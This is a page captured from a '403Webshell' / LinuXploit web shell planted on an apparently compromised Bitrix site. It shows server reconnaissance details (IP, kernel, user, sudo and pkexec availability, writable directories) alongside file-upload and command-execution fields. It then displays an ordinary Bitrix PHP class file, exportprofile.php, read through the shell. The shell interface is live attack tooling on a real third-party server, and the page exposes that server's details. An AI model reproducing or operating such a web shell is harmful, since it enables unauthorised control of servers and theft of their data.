403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/tradingplatform/vk/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/tradingplatform/vk/exportprofile.php
<?php
namespace Bitrix\Sale\TradingPlatform\Vk;

use Bitrix\Main\Entity;
use Bitrix\Main\Type;
use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);


/**
 * Class ExportProfileTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_ExportProfile_Query query()
 * @method static EO_ExportProfile_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_ExportProfile_Result getById($id)
 * @method static EO_ExportProfile_Result getList(array $parameters = [])
 * @method static EO_ExportProfile_Entity getEntity()
 * @method static \Bitrix\Sale\TradingPlatform\Vk\EO_ExportProfile createObject($setDefaultValues = true)
 * @method static \Bitrix\Sale\TradingPlatform\Vk\EO_ExportProfile_Collection createCollection()
 * @method static \Bitrix\Sale\TradingPlatform\Vk\EO_ExportProfile wakeUpObject($row)
 * @method static \Bitrix\Sale\TradingPlatform\Vk\EO_ExportProfile_Collection wakeUpCollection($rows)
 */
class ExportProfileTable extends Entity\DataManager
{
	public static function getTableName()
	{
		return 'b_sale_tp_vk_profile';
	}

	public static function getMap()
	{
		return array(
			new Entity\IntegerField('ID', array(
				'primary' => true,
				'autocomplete' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_ID_FIELD'),
			)),
			
			new Entity\StringField('DESCRIPTION', array(
				'required' => true,
				'validation' => array(__CLASS__, 'validateDesc'),
				'title' => Loc::getMessage('TP_VK_PROFILE_DESCRIPTION_FIELD'),
			)),

			new Entity\IntegerField('PLATFORM_ID', array(
				'required' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_PLATFORM_ID_FIELD'),
			)),

			new Entity\StringField('VK_SETTINGS', array(
				'required' => false,
				'serialized' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_VK_SETTINGS_FIELD'),
			)),

			new Entity\StringField('EXPORT_SETTINGS', array(
				'required' => false,
				'serialized' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_EXPORT_SETTINGS_FIELD'),
			)),

			new Entity\StringField('OAUTH', array(
				'required' => false,
				'serialized' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_OAUTH_SETTINGS_FIELD'),
			)),

			new Entity\StringField('PROCESS', array(
				'required' => false,
				'serialized' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_PROCESS_FIELD'),
			)),
			
			new Entity\StringField('JOURNAL', array(
				'required' => false,
				'serialized' => true,
				'title' => Loc::getMessage('TP_VK_PROFILE_JOURNAL_FIELD'),
			)),
		);
	}
	
	public static function validateDesc()
	{
		return array(
			new Entity\Validator\Length(3, 100),
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit